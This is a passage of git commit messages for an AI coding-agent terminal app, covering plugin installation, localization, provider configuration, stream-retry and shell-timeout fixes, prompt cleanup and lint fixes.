mod.rs 389 source spec, outcome/error types, and the three verbs
stage.rs 163 local-copy staging into a private `.staging-*` sibling
tarball.rs 181 the two-pass archive reader (scan for the single
plugin.toml under the size cap, then extract that
subtree only)
place.rs 130 atomic rename, marker write, containment guards
tests.rs 646 the inline `mod tests` block, moved verbatim
Fetching is deliberately absent: remote bytes still come from
`skills::install::fetch_tarball`, network gating included. The traversal,
symlink, size-cap, single-manifest, marker, and 0700-root rules all moved
byte-for-byte; `MAX_BUNDLE_FILES` follows its only consumer into stage.rs.
commands/groups/plugins/mod.rs (1248) -> three files:
mod.rs 512 registration, `/plugin` verb dispatch, lifecycle verbs
render.rs 339 everything the user reads, including the escaping that
keeps manifest-controlled text from forging a review
legacy.rs 133 the `[tools].plugin_dir` executable inventory, which
shares no trust state with declarative bundles
tests.rs 313 the inline `mod tests` block, moved verbatim
`use std::fs` was a cfg(test)-only import on the parent and now lives in
tests.rs alongside `Path`.
native_memory.rs is allowlisted instead of split: it is one cohesive
NativeMemoryStore impl owning the SQLite/FTS schema, the fd-lock write
path, and the markdown cache, and it is the surviving memory system per
the locked §3 decision. The entry records that, and records that
native_memory/tests.rs is a tracked but unreferenced merge artifact — an
owner call, not a budget one.
Verified: budget gate PASS (169 large modules, 659294 owned lines, 339
under the ceiling); 80 plugin tests pass under unchanged module paths
(plugins::install::tests, commands::groups::plugins::tests); clippy clean
for the touched files; whole-crate suite shows no new failures.
FINISH-0.9.4 §0A Phase 1. The homepage, nav, footer, and layout were an
EN/ZH special case with a thin foreign fallback: English and Chinese copy
lived inline in the TSX behind isZh ternaries, and the eight routed partial
locales fell through to English for anything the dictionaries did not cover.
- HomeDict/ChromeDict extended to cover every visible homepage and shared
chrome string (chrome 51->52 keys, home 60->62).
- New web/lib/i18n/dictionaries/zh/{chrome,home}.ts, extracted faithfully
from the existing inline Chinese rather than retranslated.
- Real translations to exact key parity for ja, vi, ko, ru, uk, es, pt-BR
and id. {token} placeholders preserved; no sentence is concatenated
around a variable.
- Homepage, nav, footer and layout consume getHome(locale)/getChrome(locale)
for all ten locales. Every isZh/foreign user-copy branch on those surfaces
is deleted rather than left running alongside the new path.
- Footer link sets generate from the dictionaries via the new
web/lib/i18n/links.ts instead of hardcoded per-locale arrays.
Closes a real gap found on the way: app/[locale]/layout.tsx still carried an
isZh branch governing the skip-to-content link, which renders on every page
of every locale, and the home route's metadata title and description. Eight
locales were serving an English skip link and an English <title> behind
fully translated chrome.
Honesty: zh stays `shipped` because its first-class pages (install, FAQ,
community, contribute, models, runtime, roadmap, constitution) really are
translated — chrome alone never earns it, and config.ts now records that as
the reason. The other eight stay `partial` with a localized badge;
install/faq/community/contribute still fork on isZh, which is Phase 2 scope
and is exactly what keeps those locales partial.
Contract tests strengthened, not relaxed: public-copy and
public-surface-contract now assert the rendered contract and the EN
dictionary value instead of matching raw TSX strings, and the footer's
account-copy ban is asserted across all ten locales rather than the TSX alone.
Receipts, all exit 0: npm run prebuild, check:facts, check:locales,
check:docs, test, lint, build. Ten locales fetched from a dev server and the
markup inspected: no rendered dictionary keys; masthead, 深 seal,
ocean-framed codewhale-tui.png and the partial badge intact in every locale.
CHANGELOG.md and docs/CONTRIBUTORS.md already credit the Windows OpenHarmony
linker re-quoting (PR #5095), but web/lib/release-credits.ts did not, which
failed lib/public-copy.test.ts's exact changelog-parity assertion — the
Web Frontend / Lint & Type Check gate on release train PR #5135.
Receipt: npx vitest run lib/public-copy.test.ts -> 7/7 pass.
Co-authored-by: shenjackyuanjie <54507071+shenjackyuanjie@users.noreply.github.com>
The required_str wrong-type test pinned serde_json object key order by
asserting the whole rendered array literal. That order is stable on ubuntu
and not on macOS or Windows, which is why Test (macos-latest) and
Test (windows-latest) were the only two red platform checks on release
train PR #5135. Assert the two fields independently instead; the test still
pins that the error names the field, the expected type, and the value.
Receipt: cargo test -p codewhale-tools -> 3 passed, 0 failed (run during the
PR-queue review pass). Not re-run at commit time: the shared cargo target
lock was held by concurrent workstreams. The full workspace gate confirms.
`#[tokio::main]` expanded to a multi-thread builder with no thread_stack_size,
so every worker carried tokio's 2 MiB default while only the `codewhale-main`
owner thread received CODEWHALE_MAIN_STACK_BYTES. The engine does not run on
that owner thread: spawn_engine -> spawn_supervised -> tokio::spawn puts
Engine::run on a worker, so the explicit stack never applied where the depth
actually is.
A debug-build `agent` dispatch (turn_loop -> FuturesUnordered ->
execute_full_with_context -> AgentTool::execute -> spawn_subagent_from_input)
measured a stack high-water mark between 2.25 and 2.5 MiB and aborted the
process on the guard page. A Rust stack overflow is not a panic — it raises
SIGABRT — so spawn_supervised's catch_unwind could not see it and the process
died with 134 mid-dispatch, before any child request was issued.
This is the release_runtime_qa blocker: both fleet tests observed zero child
requests and then timed out against a corpse, while the retained PTY frame kept
repainting the last screen the TUI drew before it died.
Evidence: dose-response on RUST_MIN_STACK against one binary — 2 MiB FAIL
(31.2s), 2359296 FAIL, 2621440 ok (2.3s), 3/4/8/16 MiB ok. Bounded threshold,
so not recursion. 26 macOS crash reports, every one faulting on tokio-rt-worker
in a Stack Guard between two 2080K stack regions.
Ruled out and recorded so they are not re-chased: "Overwriting existing tool:
File" is registry build-time last-write-wins, fires ~49ms earlier, appears in
passing runs, and is byte-identical at the base commit; the `agent` tool is
registered and model-visible throughout; the #3095 launch gate cannot starve
either test.
Also stops the harness reporting a dead child as a hang, and adds a regression
test that asserts the invariant the default violated — dispatching `agent` must
not kill the process — instead of a counter that a dead process also fails.
Receipt: cargo test -p codewhale-tui --test release_runtime_qa
-> 20 passed; 0 failed; 1 ignored (was 17 passed; 2 failed)
Terminal-Bench latency analysis (FINISH-0.9.4 #52) had to infer
reasoning-token counts from wall time because the exec stream-json had
no per-turn usage: content deltas carry none, and only the terminal
metadata receipt reported cumulative totals.
The engine now emits Event::TurnUsage once per model call (turn-step)
when the provider reported usage for that call, carrying the step's
Usage plus stream wall-clock duration. The chat-completions adapter's
synthetic zeroed MessageStart is explicitly not treated as reported, so
providers that never send usage produce no event instead of fabricated
zeros.
codewhale exec --output-format stream-json maps it to a new additive
turn_usage event: turn (1-based), input_tokens, output_tokens, and
duration_ms always present; reasoning_tokens, prompt_cache_hit/miss/
write_tokens, and reasoning_replay_tokens omitted (never null, never
zero-filled) when the provider does not report them. Field names mirror
the terminal metadata receipt so consumers parse one vocabulary.
Existing event shapes are untouched. Consumers: the TUI ignores the new
engine event (its token surfaces run on cumulative TurnComplete usage),
the fleet ledger maps turn_usage to a Running liveness heartbeat for
thinking-heavy calls, and the verifiers harness whitelist accepts the
new type.
Tests: serialization shape + honest-absence unit tests, a pre-existing
event-tag contract guard, and an end-to-end wiremock integration test
locking both the usage-present shape (and the unchanged metadata->done
terminal contract) and the usage-absent skip.
Add the missing fetch-and-place step for plugin bundles. Until now the
plugin pipeline started only after bits were on disk; this lands the
approved v1 on-ramp:
- plugins/install.rs: PluginInstallSource = local path (copy) |
github:owner/repo | HTTPS tarball URL, fetching into
~/.codewhale/plugins/<name>/. Reuses the skills/install.rs machinery
(InstallSource::parse, size-capped download via a new shared
fetch_tarball, is_safe_path, write_installed_from_v2 marker) instead of
copy-pasting it. The fetched tree must contain exactly one plugin.toml
root; traversal/symlink/size violations are rejected; staging happens in
a private .staging-* dir and publishes via atomic rename. Overwriting a
bundle without the .installed-from marker is refused so hand-placed
bundles survive. update re-downloads, byte-compares the recorded
checksum, and atomically swaps on change (the hash-bound trust receipt
stops matching at next discovery, forcing re-review); uninstall
requires the marker and deletes the bundle.
- plugins/mutation.rs: request/outcome/receipt controller mirroring
skills/mutation.rs — all plugin writes go through it, with
NeedsApproval/NetworkDenied outcomes from the NetworkPolicy gate, a
cross-scope name-collision pre-check, the disabled-before-uninstall
precondition, and a state-entry prune via the registry's locked
commit_state_change (new prune_state_entry hook).
- /plugin install|update|uninstall verbs. Install/update rediscover and
route straight into the existing trust review render; bits always land
disabled+untrusted (asserted in tests). Plugin trust stays the strict
hash-bound receipt flow — the skills advisory trust is not mirrored.
- The installer creates ~/.codewhale/plugins owner-only (0700) when it
first creates it: state.json lives in the same directory and trust
validates that contract.
- Docs: docs/PLUGINS.md walkthrough, linked from PLUGIN_BUNDLES.md;
/plugin usage string (all 15 locale packs) lists the new verbs.
Verified: cargo fmt --all; cargo check -p codewhale-tui;
cargo test -p codewhale-tui --bin codewhale-tui plugins (80 passed);
skills::install + localization filters (50 passed);
cargo clippy -p codewhale-tui --all-targets (clean).
d53f4f998 collapsed catalog identity onto vendor primaries, but the same
collapse leaked into credential/table lookup: CODEWHALE_PROVIDER (and
DEEPSEEK_PROVIDER), `config set provider <slug>`, flat
providers.<legacy>.<field> keys, project-overlay merge, and config display
all iterated the alias-collapsed parse or the shrunk ProviderKind::ALL, so a
config with provider = "deepseek-anthropic" / "minimax-anthropic" and its
own [providers.<slug>] table lost credential resolution with the key
present — the TUI-side regression fixed in 068032b4f, biting the shared
config crate.
Mirror the TUI doctrine: catalog/UI identity may still collapse
(ProviderKind::parse and the pinned wire-endpoint tests are unchanged), but
config-table identity resolves legacy spellings to the table-owning kind,
matching what TOML serde already produces. Adds
ProviderKind::parse_config_identity (exact id / provider_config_key match
across the full registry wins over alias collapse) and restores
full-registry iteration for table keys, project merge, and display.
Wire-endpoint selection is untouched: the pinned
minimax_wire_anthropic_selects_messages_endpoint and
deepseek_anthropic_aliases_collapse_onto_primary_with_wire_toggle tests
still pass unmodified.
Verified: codewhale-config lib 509 pass (incl. 4 new regression tests);
codewhale-cli lib 209 pass (incl. new --provider minimax-anthropic pin);
credential_handoff_dispatch + model_resolve_provenance integration tests
green; cargo check -p codewhale-config -p codewhale-cli -p codewhale-tui
clean; pre-fix probe confirmed the orphan (env slug collapsed to Minimax).
The DeepSeek chat path collapsed low/medium/high onto
reasoning_effort: "high" + thinking enabled, so no cheaper tier below
high existed and users picking low or medium paid high's latency.
DeepSeek's Chat Completions API documents exactly three reasoning_effort
values — low, high, max — plus the thinking on/off toggle
(https://api-docs.deepseek.com/api/create-chat-completion). First-party
routes (deepseek, deepseek-cn) now map honestly:
- low/minimal -> reasoning_effort "low" (a real, cheaper tier)
- medium/mid -> reasoning_effort "high" (nearest documented tier;
the wire has no medium and the thinking-mode server
default is also high)
- high/max -> unchanged
- off -> thinking {"type":"disabled"} (unchanged)
Hosted DeepSeek-compatible routes (siliconflow, sglang, volcengine,
deepinfra, atlascloud) keep the historic low/medium -> high collapse:
their own wire contracts are not verified here, so no unsupported
values are invented.
Consistency work so receipts, picker, and planning tell the same truth:
- ReasoningEffort::normalize_for_route keeps Low on first-party
DeepSeek routes (medium still rounds up to high).
- The model picker exposes auto/off/low/high/max for first-party
DeepSeek routes only; other routes keep the previous default list.
- PROVIDERS.md and the reasoning_effort settings hint document the
mapping.
Tests: per-tier apply_reasoning_effort bodies, wiremock request-body
capture for off/low/medium/high/max/unset on the DeepSeek chat route,
capability/receipt assertions that DeepSeek low is reported as low
while a collapsing hosted route still reports high, picker ladder
tests, and the turn-route planner expectation.
A foreground Bash that hit its 120s timeout was observed returning after
300s: the kill path SIGKILLed only the direct child and then joined the
output-reader threads with no timeout. A descendant that escaped the
process group (own session/pgid, e.g. sandboxed grandchildren) keeps its
inherited pipe write-end open, so the reader never saw EOF and the join
blocked — holding the shell-manager lock — until the descendant exited
on its own.
- BackgroundShell::kill now escalates SIGTERM -> SIGKILL against the
whole process group with a bounded grace (500ms TERM grace, 1s reap),
instead of a direct-child-only SIGKILL plus unbounded wait.
- Reader-thread joins are bounded (2s READER_JOIN_GRACE); on timeout the
join is handed to a helper thread and the caller returns. The reader
still finishes on its own once the pipe finally closes.
- terminate_unregistered_process and BackgroundShell::drop use the same
bounded reap instead of unbounded Child::wait.
Regression tests: a SIGTERM-ignoring foreground command is dead and the
tool returns within timeout + grace (2s timeout, wall < 10s); and a
descendant that escaped the process group while holding the output pipe
no longer wedges kill() — reproduced pre-fix as a ~34s block (whole
shell test module 38.05s), now 4.10s.
The #5143 Copilot-generated zh-Hant strings kept simplified-only
codepoints in traditional contexts (e.g. 浏览, 顶部, 会, 贴, 憑據 as
凭據); #5227 completed the pack without sweeping them.
Scan: OpenCC s2t over every string in zh-Hant.json, then manual review
of all 157 hits. Corrected 135 strings / 185 codepoints with a curated
mapping, skipping s2t over-conversions that are correct standard
traditional: 核准/稽核 (not 覈), 社群 (not 羣), 了解 (not 瞭),
後台/控制台/工作台 (not 臺/檯), 發布 (not 佈). Context-dependent forms
were fixed per string: 修复→修復, 复用→複用, 复盘→覆盤, 注册→註冊
(注 stays in 注入), 准備→準備 (准 stays in 批准/核准), 公布→公佈
(布 stays in 發布).
Per crates/tui/locales/AGENTS.md discipline, verified mechanically
against HEAD: zero {named} placeholder changes, zero leading/trailing
whitespace changes, and every ASCII segment (commands, product terms,
key names, URLs) byte-identical — only CJK codepoints moved.
Verified: localization (31), language (21), and locale-parity tests
pass; full cargo test -p codewhale-tui suite green.
Both reds traced to bf0478395 ("first-run copy batch"), an intentional
product change on the train, not a race:
- v091_real_pty_visual_matrix_preserves_control_grammar drove Tab into
Operate and waited for the old composer placeholder "Coordinate
parallel tasks". The shipped Operate placeholder is now the goal-first
"Describe the goal — Codewhale keeps working until it's done", pinned
here as an exact-copy baseline (OPERATE_COMPOSER_TEXT). The "Runtime
policy changed to: Operate mode" toast lanes observed in captured
frames is the intended #5025 confirmation of the mode switch the test
itself performs — evidence the toast is working, not noise.
- interactive_init_accepts_input_with_dispatcher_written_config declined
the trust prompt with '2', which used to quit. Since bf0478395 the
number keys mirror the footer's reading order (1 trust, 2 continue
untrusted, 3 quit), so '2' kept the app running and wait_for_exit
timed out. The decline-and-exit leg now sends '3', matching the
shipped handling in ui.rs (3/N/Esc quit; 2/U continues untrusted).
No assertion was deleted: both legs still verify the same product
surfaces (control grammar at every release size; early-init input
reaching the process) against current shipped behavior.
Verified: both tests pass locally via cargo test -p codewhale-tui
--test qa_pty (2 passed), evidence frames under CODEWHALE_QA_EVIDENCE_DIR.
The 19 red unit tests on the train tip were not env-key sensitivity and
not a PoisonError cascade; they were one root cause plus its fallout.
Root cause: d53f4f998 ("dialect is wire config, not catalog rows") added
the legacy dual-wire slugs to the vendor primaries' ProviderKind alias
lists, so ApiProvider::parse collapsed "deepseek-anthropic" onto Deepseek
and "minimax-anthropic" onto Minimax. Every route-scoped lookup keyed off
api_provider() — credentials, base_url, model — then read the primary's
empty table and orphaned the [providers.deepseek-anthropic] /
[providers.minimax-anthropic] table the config actually selects. Twelve
client tests panicked with "DeepSeek/MiniMax API key not found" despite
fixture keys sitting in the legacy table, and the retired-alias effort
inference lost the provider-scoped model id (config::tests::
retired_deepseek_aliases_keep_mode_intent_unless_effort_is_explicit).
Real pre-0.9.4 configs of that shape hit the same "API key not found" at
runtime, so fixture edits or skips would have papered over a regression.
Fix: ApiProvider::parse resolves the legacy dual-wire spellings to their
exact variants (DeepseekAnthropic / MinimaxAnthropic, with the pre-d53
alias spellings) before delegating to ProviderKind::parse. Catalog
surfaces still collapse via ProviderKind::ALL / catalog_identity(), so
the one-identity-per-vendor doctrine is unchanged; the shared config
crate and CLI are untouched. All asserted behavior is unchanged — the
same fixtures now pass, no test was skipped or weakened.
Fallout fixed with it:
- setup_catalog_shows_all_providers_from_configured_view and
onboarding_catalog_honors_typed_credentials_for_every_builtin_provider
still asserted ApiProvider::all() (enum incl. hidden variants) against
the picker rows; they now assert the user-facing ApiProvider::catalog()
universe the d53 doctrine defines.
- provider_picker's module-private ENV_LOCK could not serialize against
the process-wide test env barrier, so its env mutations raced
global-lock tests on EXAMPLE_API_KEY / OPENROUTER_API_KEY /
OPENMODEL_API_KEY (4 order-dependent failures) and its
.expect("env lock poisoned") would have cascaded PoisonError into
sibling tests after any panic. The module now holds lock_test_env() +
test_support::EnvVarGuard, the established pattern, and the private
lock/guard are deleted.
Verified: cargo test -p codewhale-tui --bin codewhale-tui 9783 passed /
0 failed (previously 19 failed); provider_picker module 107/107.
The Suggest overlay told the model "the user will see your proposed
action" while a batch-approval gate rejects that same write call when
the batch is not approved yet, producing unapproved-write attempts the
model then apologized for. The overlay now states the contract
explicitly: calling a gated write tool is the proposal, not the
execution, and a call rejected for missing approval must be answered
with the plan, not a retry. The model-visible denial error names the
same next behavior instead of a bare "denied by user" (the taxonomy
marker substring is preserved).
Replace the aspirational "config -> keyring -> env" one-liner with the
precedence the resolver actually implements: route auth contract
(consented OAuth), source-marked CLI key, config-file api_key, api_key_env
binding, secret store, ambient provider env, keyless loopback fallback —
including endpoint-binding rules, secret-store skip conditions, the loud
custom-provider api_key_env failure, and the legacy ~/.deepseek and
DEEPSEEK_* compatibility layers. States up front that credential reads
are folder-independent by default and that repo-local config never
carries credential material.
The git line re-collects branch/dirty state every turn, so the block's
bytes changed after every edit the model itself made — defeating
cross-turn prefix stability and priming caution each turn. Cache the
last-emitted snapshot on the engine and emit the line only when it
actually changed; the model can run git status for a fresh read.
/preview-request saves and restores the cache around its hypothetical
build so previewing a turn never advances emission state.
A command the human typed after '!' is pre-approved by provenance —
asking them to approve what they just typed is a modal interruption, not
a safety gate. handle_run_shell_command no longer routes composer-bang
commands through the tool-approval path (including typed ask-rule
prompts); typed Block rules still hard-deny and the sandbox/execpolicy
layer remains the real safety boundary. The audit trail records a
tool.user_provenance_preapproved row with source composer_bang.
Model-issued shell calls keep the standard approval flow unchanged.
save_api_key_for_identity returned only the config path, so the guided
setup confirmation read "Saved … API key to <config path>" even when the
key landed in the durable secret store — the file it named was
deliberately credential-free.
Thread SavedCredential (backend + metadata path) through to the toast,
state the user-global scope ("available in all folders"), and apply the
confirmation after the provider switch so the route summary no longer
overwrites it before it can be seen.
The v0.9.4 dogfood failure (#5032 / FINISH-0.9.4.md Appendix #27) was
root-caused on the dogfood machine: providers.xai.oauth_credential_generation
pointed at a generation file that no longer existed in the credentials
directory, and pre-fix activation hard-failed on that state, self-locking
every login attempt behind 'xAI login was not activated; provider
configuration is unchanged'. The fix (3667f207f) degrades the missing
generation to a fresh credential file.
Verified end to end on this lane:
- live xAI endpoints (unauthenticated stages) match the implementation:
discovery advertises oauth2/device/code + oauth2/token, the device-code
response carries device_code/user_code/verification_uri(_complete)/
expires_in/interval, and the token poll returns RFC 8628
authorization_pending / invalid_grant;
- Grok CLI 0.2.118 uses the same issuer, endpoints, and scopes (flow
observation only, no credential access);
- the built binary completes the full device flow from the exact dogfood
state against a local mock issuer in an isolated CODEWHALE_HOME.
This adds the missing wire-level-to-activation regression test covering
that exact scenario against a mock xAI server.
Agent-assisted: diagnosed and implemented with Kimi Code.
Dead-code audit 2026-08-03 (P1 row "Prompt compatibility layer"),
verified against the v0.9.4 train with rg across the workspace — every
deleted item had zero production callers:
- locale preamble/closer override setters (8) and the authority-recap
override setter + validator: never called; the OnceLock cells and
effective_* readers stay, so composition falls back to the bundled
constants exactly as before
- set_static_prompt_composer_override + helper: never called; the
composer cell/read path (apply_static_prompt_composer,
effective_base_prompt_source) is unchanged
- SHELL_POLICY_DISABLED: unreferenced constant
- Personality::Playful + PLAYFUL_PERSONALITY overlay, and the dead
Personality::{from_settings, prompt} helpers: tone is folded into the
constitution preamble; only Calm ever shipped
- compose_prompt wrapper: test-only callers rewritten to the live
compose_prompt_with_approval_model_and_shell(.., "codewhale") path
- system_prompt_with_world_state / build_system_prompt: zero callers
- unused mode/approval constants YOLO_MODE, AUTO_APPROVAL,
SUGGEST_APPROVAL, NEVER_APPROVAL and legacy AGENT_PROMPT (plus their
content-guard tests); Yolo maps to AGENT_MODE in mode_doctrine and
approval policy no longer inlines prompt overlays
Preserved: BASE_PROMPT and the constitution (incl. today's
verify-then-stop amendment), mode/session/approval assembly,
environment/skills blocks, WorldState types, the config-dir
constitution override path (#3638), and CALM_PERSONALITY for the #2953
regression guard.
Tests: prompts:: 108 passed; execpolicy:: 11 passed; engine prompt
fixture/baseline tests pass; clippy --all-targets clean; cargo check
-p codewhale-tui clean.
Terminal-Bench 2.1 evidence (codewhale exec --auto, deepseek-v4-flash):
the agent declared done without running the task's own tests
(circuit-fibsqrt: 2 calls, never tested), re-ran its own script 40x
polishing unverified output (dna-assembly: 42 calls, 195K tokens), and
wandered without converging when stuck (sqlite-db-truncate: 38 calls,
timeout).
Extend 'Verify before you claim' with the explicit completion contract:
prefer the workspace's own verifier (test suite / check script /
acceptance command), run it early rather than as a final ceremony, stop
when it passes and the request is met, and name the wall and stop when
genuinely out of moves. Worded as general engineering practice — the
constitution ships in every mode, interactive and headless alike — so
this steers verify-before-done behavior rather than benchmark-specific
early stopping.
Prompt-only change: the headless turn loop's only completion detection
(goal continuation) is goal-gated and plain exec never sets a goal, so
there is no loop surface to align without a much larger behavioral
change. No convergence is faked: nothing stops on 'looks done', and a
failing verifier still mandates continued iteration.
Tests: base_prompt_carries_verify_then_stop_completion_contract,
yolo_mode_composed_prompt_carries_completion_contract (exec --auto runs
AppMode::Yolo).
The startup version check already fired once per session and surfaced a
transient toast plus a durable transcript notice (#3961), but both fade
from view. The running session now keeps one quiet affordance:
- App::update_available holds the chip label (e.g. "↑ v0.9.5") set once
when the check lands; it stays None when up to date, when the check is
disabled, or when it never ran — silent in all three.
- Ocean header: the chip rides the left cluster with the goal/workflow
chip treatment — route label yields budget first, clean drop under
width pressure, warning accent.
- Classic header: HeaderData::update_label rendered as the last chip in
the left cascade, first to yield when the row runs out of room.
The documented action stays `codewhale update` (preview with
`codewhale update --check`), carried by the toast and transcript notice;
Ctrl+U is already the clear-draft chord, so no new keybinding is claimed.
The question modal already painted a compact centered card, but its
ViewStack backdrop defaulted to the whole frame, blanking the live
transcript the user was being asked about.
- UserInputView::occupied_region now returns the card (plus its one-cell
drop shadow) so only the dialog region is dimmed; the surrounding
conversation stays visible, matching the approval prompt's inline
treatment.
- The popup height is sized to its content (border + padding around the
emitted lines) instead of a fixed 60%/22-row claim, still bounded and
centered.
Tests: content-sized centered layout, occupied_region == painted card +
shadow, and a ViewStack render proving cells outside the card survive
untouched.
The default animation clocks felt restless: the braille work marker stepped
at 8 Hz, the ambient underwater field at ~12.5 fps (rising to ~28 fps on
high-Hz panels), and the footer working-label pulse at 2.5 Hz.
- spinner: BRAILLE_SPINNER_FRAME_MS 125 -> 200 (8 Hz -> 5 Hz); the fill
still reads as continuous motion without the flicker.
- atmosphere: FALLBACK_ANIMATION_MS / UI_UNDERWATER_ANIMATION_MS 80 -> 120
(~12.5 fps -> ~8 fps); high-Hz probe divisor /5 -> /8 so ProMotion
panels land near ~18 fps instead of ~28 fps.
- footer working label: dot pulse 400 ms -> 600 ms (~1.7 Hz).
Motion policy is untouched: low_motion / NO_ANIMATIONS / constrained frame
rate still freeze or cap exactly as before, and the streaming display clock
keeps its cadence (reduced motion never becomes a typewriter).
enable_thinking was a no-op for all four Model Studio plan/dialect
variants: the Chat Completions path never sent DashScope's
enable_thinking switch, and the SSE parser classified every Model
Studio route as ReasoningStreamStyle::None, so reasoning_content
deltas (which qwen3.x models emit by server default) were inlined
into answer text instead of the Thinking surface.
OpenAI dialect (Token Plan compatible-mode + Coding Plan): effort off
now sends enable_thinking=false, any non-off level sends true (the
dialect has no effort ladder), and unset effort stays silent so the
qwen3.x server default (thinking ON) is preserved. Bare qwen3.x model
ids are classified reasoning-capable, so Model Studio routes decode
delta.reasoning_content into the same Thinking channel other
providers use. reasoning_content is deliberately not replayed on
later turns — DashScope does not require it.
Anthropic dialect (*/apps/anthropic): the Messages adapter already
emits the documented {"type":"enabled","budget_tokens":N} shape
once the model gate passes; an explicit off now sends
{"type":"disabled"}, which the endpoint documents, instead of
silently falling through to the server default.
Picker copy now reports stream:structured for all four variants, and
PROVIDERS.md documents exactly what each dialect sends and what is
not replayed.
Sources: alibabacloud.com/help/en/model-studio/deep-thinking and
/help/en/model-studio/anthropic-api-messages (2026-08-03).
Verified: cargo fmt --all --check; cargo check -p codewhale-tui;
clippy clean; 10 new tests green (SSE decode of recorded-style
DashScope frames per plan, request-boundary capture of
enable_thinking streaming + blocking, apply_reasoning_effort matrix
over all four variants, Messages-body thinking shape, model
classification, picker label). Full bin suite: 9770 pass, 19 fail —
identical to the known pre-existing provider-catalog env-key set at
the clean train tip (verified via stash); qa_pty untouched.
Terminal-Bench 2.1 (89 tasks, codewhale 0.9.4, deepseek-v4-flash):
5 of 7 NonZeroAgentExitCodeError forfeits were the identical failure —
the provider stream dropped mid-response ("error decoding response
body" after partial content), the #103 policy surfaced the warning and
failed the turn, and `codewhale exec` exited 1. regex-log passed the
smoke run and crashed in the full run: a nondeterministic transport
drop, not a task failure. Pi retries the same drops (332 retries, 0
crashes).
Engine (turn_loop + streaming policy):
- New should_resume_after_network_drop policy: in headless hosts
(exec / stream-json; terminal_chrome_enabled = false) a network-class
stream error after partial content now schedules a full request
re-issue, bounded by MAX_STREAM_RETRIES, exactly like the #2990
sleep-resume. The partial fragment was never committed and no tool
from the incomplete response executed, so replaying from the last
committed boundary cannot duplicate side effects. Interactive TUI
keeps the #103 surface-the-warning behavior. No error event is
emitted for attempts that will be retried; the budget-exhausted final
attempt still reports the real error.
Exec exit semantics (main.rs):
- Terminal failures with error_category network/timeout now exit 75
(EX_TEMPFAIL) instead of 1, so harnesses can distinguish retryable
infra failures from genuine task failures (still exit 1). No error is
masked: the stream-json error event, terminal metadata status=failed,
and error_category are unchanged.
- Recoverable mid-turn error events (e.g. stream-stall warnings) no
longer poison the exec run summary; the terminal TurnComplete carries
the authoritative outcome. Previously any recoverable warning forced
a non-zero exit even when the turn later completed.
Regression coverage:
- Pure policy tests for the headless/network/budget/cancel matrix.
- Engine-level tests with a flaky mock client: mid-stream drop recovers
(2 requests, completed, fragment discarded); budget exhaustion fails
with the real error and exactly one error event.
- Process-level acceptance (tests/exec_stream_drop_acceptance.rs): raw
TCP server truncates the SSE body mid-content-length, reproducing the
production decode error against the real binary — exit 0 after
recovery, exit 75 with error-channel reporting after exhaustion.
Gates: cargo fmt --all --check; cargo check -p codewhale-tui; targeted
tests 18/18 + acceptance 2/2; full codewhale-tui suite 10141 passed,
21 failed — all in the known pre-existing env-key/qa_pty set
(provider-catalog API-key panics + PTY visual matrix), none in the
touched paths.
skills_directories, discover_for_workspace_and_dir, the non-plugin
discover_for_workspace_and_dir_with_mode, and discover_from_directories
had no production callers; runtime discovery goes through the
mode/plugin-aware path. Tests now exercise
skills_directories_for_mode and
discover_for_workspace_and_dir_with_mode_and_plugins.
package_is_path_safe, bundled_skill_body_sha256, and
uninstall_system_skills had no callers. compute_package_digest and
install_system_skills remain part of the current install/audit flow; the
two uninstall-only tests are removed with the dead API.
The production alias arm resolves glm-5.2 to DEFAULT_ZAI_MODEL directly;
the constant was referenced only by a test assertion, which now checks
the literal.
STATE_FILE, DiscoveryConfig::for_workspace, and default_state_path had no
callers; discovery is driven through PluginDiscoveryContext. The
DiscoveryConfig.state_path field stays: PluginRegistry exposes it and the
MCP authority path consumes it.
TransactionCallbacks/TransactionEvent/TransactionLog and the matrix-only
apply_nav_to_log adapter had no production consumer. The live
controller/layout/option framework stays; matrix tests now assert on
PickerNavResult directly.
MultiToolUseParallelTool was never constructed and
ToolRegistryBuilder::with_parallel_tool was a no-op. The engine's
multi_tool_use.parallel compatibility dispatcher and its legacy-payload
tests are preserved.
CI runs clippy with -D warnings; the codewhale-tui bin and test targets
failed with 30 deny-level lints (16 unique sites). All fixes are
mechanical and behavior-preserving:
- collapsible_if (7): merge nested ifs with let-chains (edition 2024)
- needless_borrow / needless_borrows_for_generic_args (6): drop borrows
that are immediately dereferenced or already implement the required
traits
- unnecessary_lazy_evaluations (1): unwrap_or_else -> unwrap_or for a
pure matches! fallback
- needless_update (1): drop ..GoalProgress::default() where all fields
are specified
- too_many_arguments (1): allow on spawn_scope_budgeted_worker, a test
helper whose eight params are the distinct knobs its cases tune
cargo clippy --workspace --all-targets -- -D warnings is clean; cargo
fmt --all applied; targeted module tests pass (the 12 anthropic-filter
failures reproduce identically on the base commit and are unrelated).
CI runs clippy with -D warnings; the codewhale-tui bin and test targets
failed with 30 deny-level lints (16 unique sites). All fixes are
mechanical and behavior-preserving:
- collapsible_if (7): merge nested ifs with let-chains (edition 2024)
- needless_borrow / needless_borrows_for_generic_args (6): drop borrows
that are immediately dereferenced or already implement the required
traits
- unnecessary_lazy_evaluations (1): unwrap_or_else -> unwrap_or for a
pure matches! fallback
- needless_update (1): drop ..GoalProgress::default() where all fields
are specified
- too_many_arguments (1): allow on spawn_scope_budgeted_worker, a test
helper whose eight params are the distinct knobs its cases tune
cargo clippy --workspace --all-targets -- -D warnings is clean; cargo
fmt --all applied; targeted module tests pass (the 12 anthropic-filter
failures reproduce identically on the base commit and are unrelated).
* fix(web): map Model Studio provider variants in facts drift guards
The train's Model Studio lane added four ApiProvider variants without
registering them in the web facts maps, failing check-facts (Lint & Type
Check on #5135). All four share the single MODELSTUDIO_API_KEY env var.
* chore(web): regenerate facts.generated.ts (providers 40, tools 68)
agents/message only queues mail for a running child, while agents/followup delivers through a live input channel and cannot resume an interrupted child. Remove the natural/idle resume promises and pin the descriptions to those implemented states.
Adapted from https://github.com/Pinvou/CodeWhale/pull/4 by @asto18089.
Signed-off-by: hexin <372726039@qq.com>
Co-authored-by: asto18089 <44870036+asto18089@users.noreply.github.com>
* fix(i18n): complete zh-Hant pack for the keys added after #5143
The /automation surface plus a few keybinding/advisor strings landed on the
train after b02a05b5a promoted zh-Hant to a complete pack, leaving it 47
keys short of en.json (1252 vs 1299) and breaking three parity tests
(shipped_complete_packs_have_raw_key_parity_with_english,
automation_complete_packs_have_raw_key_and_placeholder_parity,
zh_hant_has_reached_en_parity_and_is_complete).
Translate the 47 missing keys into Traditional Chinese per
crates/tui/locales/AGENTS.md: placeholders stay literal, commands and key
names untranslated, product terms English. Parity claim now holds, so no
